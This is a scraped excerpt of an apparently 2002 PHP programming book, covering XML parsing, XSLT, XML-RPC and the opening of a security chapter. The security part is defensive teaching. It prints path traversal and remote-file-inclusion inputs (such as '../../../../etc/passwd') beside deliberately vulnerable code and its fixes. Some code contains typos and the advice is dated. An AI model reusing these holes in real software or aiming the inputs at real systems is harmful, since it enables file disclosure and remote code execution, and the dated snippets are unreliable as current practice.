,ch11.16545 Page 271 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (272)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

272 | Chapter 11: XML

ErrorsThe xml_parse( ) function will return true if the parse completed successfully orfalse if there was an error. If something did go wrong, use xml_get_error_code( ) tofetch a code identifying the error:

$err = xml_get_error_code( );

The error code will correspond to one of these error constants:

XML_ERROR_NONEXML_ERROR_NO_MEMORYXML_ERROR_SYNTAXXML_ERROR_NO_ELEMENTSXML_ERROR_INVALID_TOKENXML_ERROR_UNCLOSED_TOKENXML_ERROR_PARTIAL_CHARXML_ERROR_TAG_MISMATCHXML_ERROR_DUPLICATE_ATTRIBUTEXML_ERROR_JUNK_AFTER_DOC_ELEMENTXML_ERROR_PARAM_ENTITY_REFXML_ERROR_UNDEFINED_ENTITYXML_ERROR_RECURSIVE_ENTITY_REFXML_ERROR_ASYNC_ENTITY

xml_set_processing_instruction_handler($parser, 'processing_instruction'); xml_set_default_handler($parser, 'default');

return array($parser, $fp);}

function parse ($parser, $fp) { $blockSize = 4 * 1024; // read in 4 KB chunks

while($data = fread($fp, $blockSize)) { // read in 4 KB chunks if(!xml_parse($parser, $data, feof($fp))) { // an error occurred; tell the user where echo 'Parse error: ' . xml_error_string($parser) . " at line " . xml_get_current_line_number($parser));

return FALSE; } }

return TRUE;}

if (list($parser, $fp) = create_parser('test.xml')) { parse($parser, $fp); fclose($fp); xml_parser_free($parser);}

Example 11-8. Creating a parser (continued)

,ch11.16545 Page 272 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (273)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Parsing XML | 273

XML_ERROR_BAD_CHAR_REFXML_ERROR_BINARY_ENTITY_REFXML_ERROR_ATTRIBUTE_EXTERNAL_ENTITY_REFXML_ERROR_MISPLACED_XML_PIXML_ERROR_UNKNOWN_ENCODINGXML_ERROR_INCORRECT_ENCODINGXML_ERROR_UNCLOSED_CDATA_SECTIONXML_ERROR_EXTERNAL_ENTITY_HANDLING

The constants generally aren’t much use. Use xml_error_string( ) to turn an errorcode into a string that you can use when you report the error:

$message = xml_error_string(code);

For example:

$err = xml_get_error_code($parser);if ($err != XML_ERROR_NONE) die(xml_error_string($err));

Methods as HandlersBecause functions and variables are global in PHP, any component of an applicationthat requires several functions and variables is a candidate for object orientation.XML parsing typically requires you to keep track of where you are in the parsing (e.g.,“just saw an opening title element, so keep track of character data until you see aclosing title element”) with variables, and of course you must write several handlerfunctions to manipulate the state and actually do something. Wrapping these func-tions and variables into a class provides a way to keep them separate from the rest ofyour program and easily reuse the functionality later.

Use the xml_set_object( ) function to register an object with a parser. After you doso, the XML parser looks for the handlers as methods on that object, rather than asglobal functions:

xml_set_object(object);

Sample Parsing ApplicationLet’s develop a program to parse an XML file and display different types of informa-tion from it. The XML file, given in Example 11-9, contains information on a set ofbooks.

Example 11-9. books.xml file

<?xml version="1.0" ?><library> <book> <title>Programming PHP</title> <authors> <author>Rasmus Lerdorf</author> <author>Kevin Tatroe</author> </authors>

,ch11.16545 Page 273 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (274)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

274 | Chapter 11: XML

The PHP application parses the file and presents the user with a list of books, show-ing just the titles and authors. This menu is shown in Figure 11-1. The titles are linksto a page showing the complete information for a book. A page of detailed informa-tion for Programming PHP is shown in Figure 11-2.

We define a class, BookList, whose constructor parses the XML file and builds a listof records. There are two methods on a BookList that generate output from that listof records. The show_menu( ) method generates the book menu, and the show_book( )method displays detailed information on a particular book.

Parsing the file involves keeping track of the record, which element we’re in, andwhich elements correspond to records (book) and fields (title, author, isbn, and

<isbn>1-56592-610-2</isbn> <comment>A great book!</comment> </book> <book> <title>PHP Pocket Reference</title> <authors> <author>Rasmus Lerdorf</author> </authors> <isbn>1-56592-769-9</isbn> <comment>It really does fit in your pocket</comment> </book> <book> <title>Perl Cookbook</title> <authors> <author>Tom Christiansen</author> <author>Nathan Torkington</author> </authors> <isbn>1-56592-243-3</isbn> <comment>Hundreds of useful techniques, most just as applicable to PHP as to Perl </comment> </book></library>

Figure 11-1. Book menu

Example 11-9. books.xml file (continued)

,ch11.16545 Page 274 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (275)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Parsing XML | 275

comment). The $record property holds the current record as it’s being built, and$current_field holds the name of the field we’re currently processing (e.g., 'title').The $records property is an array of all the records we’ve read so far.

Two associative arrays, $field_type and $ends_record, tell us which elements corre-spond to fields in a record and which closing element signals the end of a record.Values in $field_type are either 1 or 2, corresponding to a simple scalar field (e.g.,title) or an array of values (e.g., author) respectively. We initialize those arrays inthe constructor.

The handlers themselves are fairly straightforward. When we see the start of an ele-ment, we work out whether it corresponds to a field we’re interested in. If it is, weset the current_field property to be that field name so when we see the characterdata (e.g., the title of the book) we know which field it’s the value for. When we getcharacter data, we add it to the appropriate field of the current record if current_field says we’re in a field. When we see the end of an element, we check to see if it’sthe end of a record—if so, we add the current record to the array of completedrecords.

One PHP script, given in Example 11-10, handles both the book menu and bookdetails pages. The entries in the book menu link back to the URL for the menu, witha GET parameter identifying the ISBN of the book whose details are to be displayed.

Figure 11-2. Book details

Example 11-10. bookparse.xml

<html><head><title>My Library</title></head><body><?php class BookList { var $parser; var $record; var $current_field = ''; var $field_type; var $ends_record; var $records;

,ch11.16545 Page 275 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (276)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

276 | Chapter 11: XML

function BookList ($filename) { $this->parser = xml_parser_create( ); xml_set_object($this->parser, &$this); xml_set_element_handler($this->parser, 'start_element', 'end_element'); xml_set_character_data_handler($this->parser, 'cdata');

// 1 = single field, 2 = array field, 3 = record container $this->field_type = array('title' => 1, 'author' => 2, 'isbn' => 1, 'comment' => 1); $this->ends_record = array('book' => true);

$x = join("", file($filename)); xml_parse($this->parser, $x); xml_parser_free($this->parser); }

function start_element ($p, $element, &$attributes) { $element = strtolower($element); if ($this->field_type[$element] != 0) { $this->current_field = $element; } else { $this->current_field = ''; } }

function end_element ($p, $element) { $element = strtolower($element); if ($this->ends_record[$element]) { $this->records[] = $this->record; $this->record = array( ); } $this->current_field = ''; }

function cdata ($p, $text) { if ($this->field_type[$this->current_field] === 2) { $this->record[$this->current_field][] = $text; } elseif ($this->field_type[$this->current_field] === 1) { $this->record[$this->current_field] .= $text; } }

function show_menu( ) { echo "<table border=1>\n"; foreach ($this->records as $book) { echo "<tr>"; $authors = join(', ', $book['author']); printf("<th><a href='%s'>%s</a></th><td>%s</td></tr>\n", $_SERVER['PHP_SELF'] . '?isbn=' . $book['isbn'], $book['title'],

Example 11-10. bookparse.xml (continued)

,ch11.16545 Page 276 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (277)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Transforming XML with XSLT | 277

Transforming XML with XSLTExtensible Stylesheet Language Transformations (XSLT) is a language for transform-ing XML documents into different XML, HTML, or any other format. For example,many web sites offer several formats of their content—HTML, printable HTML, andWML (Wireless Markup Language) are common. The easiest way to present thesemultiple views of the same information is to maintain one form of the content inXML and use XSLT to produce the HTML, printable HTML, and WML.

PHP’s XSLT extension uses the Sablotron C library to provide XSLT support.Sablotron does not ship with PHP—you’ll need to download it from http://www.gin-gerall.com, install it, and then rebuild PHP with the --enable-xslt --with-xslt-sablot option to configure.

PHP’s XSLT support is still experimental at the time of writing, and the exact imple-mentation details may change from what is described here. However, this description

$authors); echo "</tr>\n"; } }

function show_book ($isbn) { foreach ($this->records as $book) { if ($book['isbn'] !== $isbn) { continue; }

$authors = join(', ', $book['author']); printf("<b>%s</b> by %s.<br>", $book['title'], $authors); printf("ISBN: %s<br>", $book['isbn']); printf("Comment: %s<p>\n", $book['comment']); }?>Back to the <a href="<?= $_SERVER['PHP_SELF'] ?>">list of books</a>.<p><? } }; // main program code

$my_library = new BookList ("books.xml"); if ($_GET['isbn']) { // return info on one book $my_library->show_book($_GET['isbn']); } else { // show menu of books $my_library->show_menu( ); }?></body></html>

Example 11-10. bookparse.xml (continued)

,ch11.16545 Page 277 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (278)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

278 | Chapter 11: XML

should give you a good foundation for how to use PHP’s XSLT functions, even if theimplementation changes in the future.

Three documents are involved in an XSLT transformation: the original XML docu-ment, the XSLT document containing transformation rules, and the resulting docu-ment. The final document doesn’t have to be in XML—a common use of XSLT is togenerate HTML from XML. To do an XSLT transformation in PHP, you create anXSLT processor, give it some input to transform, then destroy the processor.

Create a processor with xslt_create( ):

$xslt = xslt_create( );

Process a file with xslt_process( ):

$result = xslt_process(xslt, xml, xsl [, result [, arguments [, parameters ]]]);

The xml and xsl parameters are filenames for the input XML and transformationXSL, respectively. Specify a result filename to store the new document in a file, oromit it to have xslt_process( ) return the new document. The parameters option isan associative array of parameters to your XSL, accessible through xsl:paramname="parameter_name".

The arguments option is a roundabout way of working with XML or XSL stored invariables rather than in files. Set xml or xsl to 'arg:/foo', and the value for /foo inthe arguments associative array will be used as the text for the XML or XSL document.

Example 11-11 is the XML document we’re going to transform. It is in a similar for-mat to many of the news documents you find on the Web.

Example 11-12 is the XSL document we’ll use to transform the XML document intoHTML. Each xsl:template element contains a rule for dealing with part of the inputdocument.

Example 11-11. XML document

<?xml version="1.0" ?>

<news xmlns:news="http://slashdot.org/backslash.dtd"> <story> <title>O'Reilly Publishes Programming PHP</title> <url>http://example.org/article.php?id=20020430/458566</url> <time>2002-04-30 09:04:23</time> <author>Rasmus and some others</author> </story>

<story> <title>Transforming XML with PHP Simplified</title> <url>http://example.org/article.php?id=20020430/458566</url> <time>2002-04-30 09:04:23</time> <author>k.tatroe</author> </story></news>

,ch11.16545 Page 278 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (279)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Transforming XML with XSLT | 279

Example 11-13 is the very small amount of code necessary to transform the XMLdocument into an HTML document using the XSL style sheet. We create a proces-sor, run the files through it, and print the result.

Example 11-14 contains the same transformation as Example 10-13 but uses XMLand XSL values from an array instead of going directly to files. In this example there’s

Example 11-12. News XSL transform

<?xml version="1.0" encoding="utf-8" ?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:output method="html" indent="yes" encoding="utf-8"/>

<xsl:template match="/news"> <html> <head> <title>Current Stories</title> </head> <body bgcolor="white" > <xsl:call-template name="stories"/> </body> </html></xsl:template>

<xsl:template name="stories"> <xsl:for-each select="story"> <h1><xsl:value-of select="title" /></h1>

<p> <xsl:value-of select="author"/> (<xsl:value-of select="time"/>)<br/> <xsl:value-of select="teaser"/> [ <a href="{url}">More</a> ] </p>

<hr /> </xsl:for-each></xsl:template>

</xsl:stylesheet>

Example 11-13. XSL transformation from files

<?php $processor = xslt_create( ); $result = xslt_process($processor, 'news.xml', 'news.xsl'); if(!$result) echo xslt_error($processor); xslt_free($processor);

echo "<pre>$result</pre>";?>

,ch11.16545 Page 279 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (280)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

280 | Chapter 11: XML

not much point in using this technique, as we get the array values from files. But ifthe XML document or XSL transformation is dynamically generated, fetched from adatabase, or downloaded over a network connection, it’s more convenient to pro-cess from a string than from a file.

Although it doesn’t specifically discuss PHP, Doug Tidwell’s XSLT (O’Reilly) pro-vides a detailed guide to the syntax of XSLT stylesheets.

Web ServicesHistorically, every time there’s been a need for two systems to communicate, a newprotocol has been created (for example, SMTP for sending mail, POP3 for receivingmail, and the numerous protocols that database clients and servers use). The idea ofweb services is to remove the need to create new protocols by providing a standard-ized mechanism for remote procedure calls, based on XML and HTTP.

Web services make it easy to integrate heterogeneous systems. Say you’re writing aweb interface to a library system that already exists. It has a complex system of data-base tables, and lots of business logic embedded in the program code that manipu-lates those tables. And it’s written in C++. You could reimplement the business logicin PHP, writing a lot of code to manipulate tables in the correct way, or you couldwrite a little code in C++ to expose the library operations (e.g., check out a book tothis user, see when this book is due back, see what the overdue fines are for this user)as a web service. Now your PHP code simply has to handle the web frontend; it canuse the library service to do all the heavy lifting.

XML-RPC and SOAP are two of the standard protocols used to create web services.XML-RPC is the older (and simpler) of the two, while SOAP is newer and more com-plex. Microsoft’s .NET initiative is based around SOAP, while many of the popularweb journal packages, such as Frontier and blogger, offer XML-RPC interfaces.

PHP provides access to both SOAP and XML-RPC through the xmlrpc extension,which is based on the xmlrpc-epi project (see http://xmlrpc-epi.sourceforge.net for

Example 11-14. XSL transformation from variables

<?php $xml = join('', file('news.xml')); $xsl = join('', file('news.xsl')); $arguments = array('/_xml' => $xml, '/_xsl' => $xsl);

$processor = xslt_create( ); $result = xslt_process($processor, 'arg:/_xml', 'arg:/_xsl', NULL, $arguments); if(!$result) exho xlst_error($processor); xslt_free($processor);

echo "<pre>$result</pre>";?>

,ch11.16545 Page 280 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (281)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Web Services | 281

more information). The xmlrpc extension is not compiled in by default, so you’llneed to add --with-xmlrpc to your configure line.

The PEAR project (http://pear.php.net) is working on an object-oriented XML-RPCextension, but it was not ready for release at the time of this writing.

ServersExample 11-15 shows a very basic XML-RPC server that exposes only one function(which XML-RPC calls a “method”). That function, multiply( ), multiplies twonumbers and returns the result. It’s not a very exciting example, but it shows thebasic structure of an XML-RPC server.

The xmlrpc extension handles the dispatch for you. That is, it works out whichmethod the client was trying to call, decodes the arguments and calls the correspond-ing PHP function, and returns an XML response that encodes any values returned bythe function that can be decoded by an XML-RPC client.

Create a server with xmlrpc_server_create( ):

$server = xmlrpc_server_create( );

Expose functions through the XML-RPC dispatch mechanism using xmlrpc_server_register_method( ):

xmlrpc_server_register_method(server, method, function);

The method parameter is the name the XML-RPC client knows. The function parame-ter is the PHP function implementing that XML-RPC method. In the case ofExample 11-15, the multiply( ) method is implemented by the times( ) function.

Example 11-15. Basic XML-RPC server

<?php // this is the function exposed as "multiply( )" function times ($method, $args) { return $args[0] * $args[1]; }

$request = $HTTP_RAW_POST_DATA; if (!$request) $request_xml = $HTTP_POST_VARS['xml'];

$server = xmlrpc_server_create( ); if (!$server) die("Couldn't create server");

xmlrpc_server_register_method($server, 'multiply', 'times');

$options = array('output_type' => 'xml', 'version' => 'auto'); echo xmlrpc_server_call_method($server, $request, null, $options);

xmlrpc_server_destroy($server);?>

,ch11.16545 Page 281 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (282)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

282 | Chapter 11: XML

Often a server will call xmlrpc_server_register_method( ) many times, to exposemany functions.

When you’ve registered all your methods, call xmlrpc_server_call_method( ) to dothe dispatching:

$response = xmlrpc_server_call_method(server, request, user_data [, options]);

The request is the XML-RPC request, which is typically sent as HTTP POST data.We fetch that through the $HTTP_RAW_POST_DATA variable. It contains the name of themethod to be called, and parameters to that method. The parameters are decodedinto PHP data types, and the function (times( ), in this case) is called.

A function exposed as an XML-RPC method takes two or three parameters:

$retval = exposed_function(method, args [, user_data]);

The method parameter contains the name of the XML-RPC method (so you can haveone PHP function exposed under many names). The arguments to the method arepassed in the array args, and the optional user_data parameter is whatever thexmlrpc_server_call_method( )’s user_data parameter was.

The options parameter to xmlrpc_server_call_method( ) is an array mapping optionnames to their values. The options are:

output_typeControls the data encoding used. Permissible values are: "php" or "xml" (default).

verbosityControls how much whitespace is added to the output XML to make it readableto humans. Permissible values are: "no_white_space", "newlines_only", and"pretty" (default).

escapingControls which characters are escaped, and how. Multiple values may be givenas a subarray. Permissible values are: "cdata", "non-ascii" (default), "non-print"(default), and "markup" (default).

versioningControls which web service system to use. Permissible values are: "simple","soap 1.1", "xmlrpc" (default for clients), and "auto" (default for servers, mean-ing “whatever format the request came in”).

encodingControls the character encoding of the data. Permissible values include any validencoding identifiers, but you’ll rarely want to change it from "iso-8859-1" (thedefault).

ClientsAn XML-RPC client issues an HTTP request and parses the response. The xmlrpcextension that ships with PHP can work with the XML that encodes an XML-RPC

,ch11.16545 Page 282 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (283)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Web Services | 283

request, but it doesn’t know how to issue HTTP requests. For that functionality, youmust download the xmlrpc-epi distribution from http://xmlrpc-epi.sourceforge.netand install the sample/utils/utils.php file. This file contains a function to perform theHTTP request.

Example 11-16 shows a client for the multiply XML-RPC service.

We begin by loading the XML-RPC convenience utilities library. This gives us thexu_rpc_http_concise( ) function, which constructs a POST request for us:

$response = xu_rpc_http_concise(hash);

The hash array contains the various attributes of the XML-RPC call as an associativearray:

methodName of the method to call

argsArray of arguments to the method

hostHostname of the web service offering the method

uriURL path to the web service

optionsAssociative array of options, as for the server

debugIf nonzero, prints debugging information (default is 0)

The value returned by xu_rpc_http_concise( ) is the decoded return value from thecalled method.

There are several features of XML-RPC we haven’t covered. For example, XML-RPC’s data types do not always map precisely onto PHP’s, and there are ways toencode values as a particular data type rather than as the xmlrpc extension’s best

Example 11-16. Basic XML-RPC client

<?php require_once('utils.php');

$options = array('output_type' => 'xml', 'version' => 'xmlrpc'); $result = xu_rpc_http_concise( array(method => 'multiply', args => array(5, 6), host => '192.168.0.1', uri => '/~gnat/test/ch11/xmlrpc-server.php', options => $options));

echo "5 * 6 is $result";?>

,ch11.16545 Page 283 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (284)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

284 | Chapter 11: XML

guess. Also, there are features of the xmlrpc extension we haven’t covered, such asSOAP faults. See the xmlrpc extension’s documentation at http://www.php.net for thefull details.

For more information on XML-RPC, see Programming Web Services in XML-RPC, bySimon St. Laurent, et al. (O’Reilly). See Programming Web Services with SOAP, byJames Snell, et al. (O’Reilly), for more information on SOAP.

,ch11.16545 Page 284 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (285)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

285

Chapter 12 CHAPTER 12

Security

PHP is a flexible language that has hooks into just about every API offered on themachines on which it runs. Because it was designed to be a forms-processing lan-guage for HTML pages, PHP makes it easy to use form data sent to a script. Conve-nience is a double-edged sword, however. The very features that let you quickly writeprograms in PHP can open doors for those who would break into your systems.

It’s important to understand that PHP itself is neither secure nor insecure. The secu-rity of your web applications is entirely determined by the code you write. For exam-ple, take a script that opens a file whose name was passed as a form parameter. Ifyou don’t check the filename, the user can give a URL, an absolute pathname, oreven a relative path to back out of the application data directory and into a personalor system directory.

This chapter looks at several common issues that can lead to insecure scripts, such asfilenames, file uploads, and the eval( ) function. Some problems are solved throughcode (e.g., checking filenames before opening them), while others are solved throughchanging PHP’s configuration (e.g., to permit access only to files in a particulardirectory).

Global Variables and Form DataOne of the most fundamental things to consider when creating a secure system isthat any information you didn’t generate within the system should be regarded astainted. You should either untaint this data before using it—that is, ensure thatthere’s nothing malicious in it—or limit what you do with it.

In PHP, however, it’s not always easy to tell whether a variable is tainted. Whenregister_globals is enabled in the php.ini file, PHP automatically creates variablesfrom form parameters and cookies. Poorly written programs assume that their vari-ables have values only when the variables are explicitly assigned values in the pro-gram code. With register_globals, this assumption is false.

,ch12.16671 Page 285 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (286)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

286 | Chapter 12: Security

Consider the following code:

<?php if (check_privileges( )) { $superuser = true; } // ...?>

This code assumes that $superuser can be set to true only if check_privileges( )returns true. However, with register_globals enabled, it’s actually a simple matterto call the page as page.php?superuser=1 to get superuser privileges.

There are three ways to solve this problem: initialize your variables, disable register_globals in the php.ini file, or customize the variables_order setting to prevent GET,POST, and cookie values from creating global variables.

Initialize VariablesAlways initialize your variables. The superuser security hole in the previous examplewouldn’t exist if the code had been written like this:

<?php $superuser = false; if (check_privileges( )) { $superuser = true; } // ...?>

If you set the error_reporting configuration option in php.ini to E_ALL, as discussedin Chapter 13, you will see a warning when your script uses a variable before it ini-tializes it to some value. For example, the following script uses $a before setting it, soa warning is generated:

<html> <head> <title>Sample</title> </head>

<body> <?php echo $a; ?> </body></html>Warning: Undefined variable: a in /home/httpd/html/warnings.php on line 7

Once your script is in a production environment, you should turn off public visibilityof errors and warnings, as they can give a potential hacker insight into how your scriptworks. The following php.ini directives are recommended for production systems:

display_errors = Offlog_errors = Onerror_log = /var/log/php_errors.log

,ch12.16671 Page 286 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (287)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Filenames | 287

These directives ensure that PHP error messages are never shown directly on yourweb pages. Instead, they are logged to the specified file.

Set variables_orderThe default PHP configuration automatically creates global variables from the envi-ronment, cookies, server information, and GET and POST parameters. Thevariables_order directive in php.ini controls the order and presence of these vari-ables. The default value is "EGPCS", meaning that first the environment is turned intoglobal variables, then GET parameters, then POST parameters, then cookies, thenserver information.

Allowing GET requests, POST requests, and cookies from the browser to create arbi-trary global variables in your program is dangerous. A reasonable security precau-tion is to set variables_order to "ES":

variables_order = "ES"

You can access form parameters and cookie values via the $_REQUEST, $_GET, $_POST,and $_COOKIE arrays, as we discussed in Chapter 7.

For maximum safety, you can disable register_globals in your php.ini file to pre-vent any global variables from being created. However, changing register_globalsor variables_order will break scripts that were written with the expectation thatform parameters would be accessible as global variables. To fix this problem, add asection at the start of your code to copy the parameters into regular global variables:

$name = $_REQUEST['name'];$age = $_REQUEST['age'];// ... and so on for all incoming form parameters

FilenamesIt’s fairly easy to construct a filename that refers to something other than what youintended. For example, say you have a $username variable that contains the name theuser wants to be called, which the user has specified through a form field. Now let’ssay you want to store a welcome message for each user in the directory /usr/local/lib/greetings, so that you can output the message any time the user logs into your appli-cation. The code to print the current user’s greeting is:

<?php include("/usr/local/lib/greetings/$username") ?>

This seems harmless enough, but what if the user chose the username "../../../../etc/passwd"? The code to include the greeting now includes /etc/passwd instead. Rel-ative paths are a common trick used by hackers against unsuspecting scripts.

Another trap for the unwary programmer lies in the way that, by default, PHP canopen remote files with the same functions that open local files. The fopen( ) func-tion and anything that uses it (e.g., include( ) and require( )) can be passed an

,ch12.16671 Page 287 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (288)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

288 | Chapter 12: Security

HTTP or FTP URL as a filename, and the document identified by the URL will beopened. Here’s some exploitable code:

<?php chdir("/usr/local/lib/greetings"); $fp = fopen($username, "r");?>

If $username is set to "http://www.example.com/myfile", a remote file is opened, not alocal one.

The situation is even more dire if you let the user tell you which file to include( ):

<?php $file = $_REQUEST['theme']; include($file);?>

If the user passes a theme parameter of "http://www.example.com/badcode.inc" andyour variables_order includes GET or POST, your PHP script will happily load andrun the remote code. Never use parameters as filenames like this.

There are several solutions to the problem of checking filenames. You can disableremote file access, check filenames with realpath( ) and basename( ), and use theopen_basedir option to restrict filesystem access.

Check for Relative PathsWhen you need to allow the user to specify a filename in your application, you canuse a combination of the realpath( ) and basename( ) functions to ensure that thefilename is what it ought to be. The realpath( ) function resolves special markerssuch as “.” and “..”. After a call to realpath( ), the resulting path is a full path onwhich you can then use basename( ). The basename( ) function returns just the file-name portion of the path.

Going back to our welcome message scenario, here’s an example of realpath( ) andbasename( ) in action:

$filename = $_POST['username'];$vetted = basename(realpath($filename));if ($filename !== $vetted) { die("$filename is not a good username");}

In this case, we’ve resolved $filename to its full path and then extracted just the file-name. If this value doesn’t match the original value of $filename, we’ve got a bad file-name that we don’t want to use.

Once you have the completely bare filename, you can reconstruct what the file pathought to be, based on where legal files should go, and add a file extension based onthe actual contents of the file:

include("/usr/local/lib/greetings/$filename");

,ch12.16671 Page 288 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (289)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

File Uploads | 289

Restrict Filesystem Access to a Specific DirectoryIf your application must operate on the filesystem, you can set the open_basediroption to further secure the application by restricting access to a specific directory. Ifopen_basedir is set in php.ini, PHP limits filesystem and I/O functions so that theycan operate only within that directory or any of its subdirectories. For example:

open_basedir = /some/path

With this configuration in effect, the following function calls succeed:

unlink("/some/path/unwanted.exe");include("/some/path/less/travelled.inc");

But these generate runtime errors:

$fp = fopen ("/some/other/file.exe", "r");$dp = opendir("/some/path/../other/file.exe");

Of course, one web server can run many applications, and each application typicallystores files in its own directory. You can configure open_basedir on a per-virtual hostbasis in your httpd.conf file like this:

<VirtualHost 1.2.3.4> ServerName domainA.com DocumentRoot /web/sites/domainA php_admin_value open_basedir /web/sites/domainA</VirtualHost>

Similarly, you can configure it per directory or per URL in httpd.conf:

# by directory<Directory /home/httpd/html/app1> php_admin_value open_basedir /home/httpd/html/app1</Directory>

# by URL<Location /app2> php_admin_value open_basedir /home/httpd/html/app2</Location>

The open_basedir directory can be set only in the httpd.conf file, not in .htaccess files,and you must use php_admin_value to set it.

File UploadsFile uploads combine the two dangers we’ve seen so far: user-modifiable data andthe filesystem. While PHP 4 itself is secure in how it handles uploaded files, there areseveral potential traps for unwary programmers.

Distrust Browser-Supplied FilenamesBe careful using the filename sent by the browser. If possible, do not use this as thename of the file on your filesystem. It’s easy to make the browser send a file identified

,ch12.16671 Page 289 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (290)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

290 | Chapter 12: Security

as /etc/passwd or /home/rasmus/.forward. You can use the browser-supplied name forall user interaction, but generate a unique name yourself to actually call the file. Forexample:

$browser_name = $_FILES['image']['name'];$temp_name = $_FILES['image']['tmp_name'];echo "Thanks for sending me $browser_name.";

$counter++; // persistent variable$my_name = "image_$counter";if (is_uploaded_file($temp_name)) { move_uploaded_file($temp_name, "/web/images/$my_name");} else { die("There was a problem processing the file.");}

Beware of Filling Your FilesystemAnother trap is the size of uploaded files. Although you can tell the browser the max-imum size of file to upload, this is only a recommendation and it cannot ensure thatyour script won’t be handed a file of a larger size. The danger is that an attacker willtry a denial of service attack by sending you several large files in one request and fill-ing up the filesystem in which PHP stores the decoded files.

Set the post_max_size configuration option in php.ini to the maximum size (in bytes)that you want:

post_max_size = 1024768 ; one megabyte

The default 10 MB is probably larger than most sites require.

Surviving register_globalsThe default variables_order processes GET and POST parameters before cookies.This makes it possible for the user to send a cookie that overwrites the global vari-able you think contains information on your uploaded file. To avoid being trickedlike this, check the given file was actually an uploaded file using the is_uploaded_file( ) function.

In this example, the name of the file input element is “uploaded”:

if (is_uploaded_file($_FILES['uploaded_file']['tmp_name'])) { if ($fp = fopen($_FILES['uploaded_file']['tmp_name'], 'r')) { $text = fread($fp, filesize($_FILES['uploaded_file']['tmp_name'])); fclose($fp);

// do something with the file's contents }}

PHP provides a move_uploaded_file( ) function that moves the file only if it was anuploaded file. This is preferable to moving the file directly with a system-level

,ch12.16671 Page 290 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (291)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

File Permissions | 291

function or PHP’s copy( ) function. For example, this function call cannot be fooledby cookies:

move_uploaded_file($_REQUEST['file'], "/new/name.txt");

File PermissionsIf only you and people you trust can log into your web server, you don’t need toworry about file permissions for files created by your PHP programs. However, mostweb sites are hosted on ISP’s machines, and there’s a risk that untrusted people willtry to read files that your PHP program creates. There are a number of techniquesthat you can use to deal with file permissions issues.

Get It Right the First TimeDo not create a file and then change its permissions. This creates a race condition,where a lucky user can open the file once it’s created but before it’s locked down.Instead, use the umask( ) function to strip off unnecessary permissions. For example:

umask(077); // disable ---rwxrwx$fp = fopen("/tmp/myfile", "w");

By default, the fopen( ) function attempts to create a file with permission 0666 (rw-rw-rw-). Calling umask( ) first disables the group and other bits, leaving only 0600(rw-------). Now, when fopen( ) is called, the file is created with those permissions.

Session FilesWith PHP’s built-in session support, session information is stored in files in the /tmpdirectory. Each file is named /tmp/sess_id, where id is the name of the session and isowned by the web server user ID, usually nobody.

This means that session files can be read by any PHP script on the server, as all PHPscripts run with the same web server ID. In situations where your PHP code is storedon an ISP’s server that is shared with other users’ PHP scripts, variables you store inyour sessions are visible to other PHP scripts.

Even worse, other users on the server can create files in /tmp. There’s nothing pre-venting a user from creating a fake session file that has any variables and values hewants in it. The user can then have the browser send your script a cookie containingthe name of the faked session, and your script will happily load the variables storedin the fake session file.

One workaround is to ask your service provider to configure their server to placeyour session files in your own directory. Typically, this means that your VirtualHostblock in the Apache httpd.conf file will contain:

php_value session.save_path /some/path

,ch12.16671 Page 291 Wednesday, March 13, 2002 11:45 AM

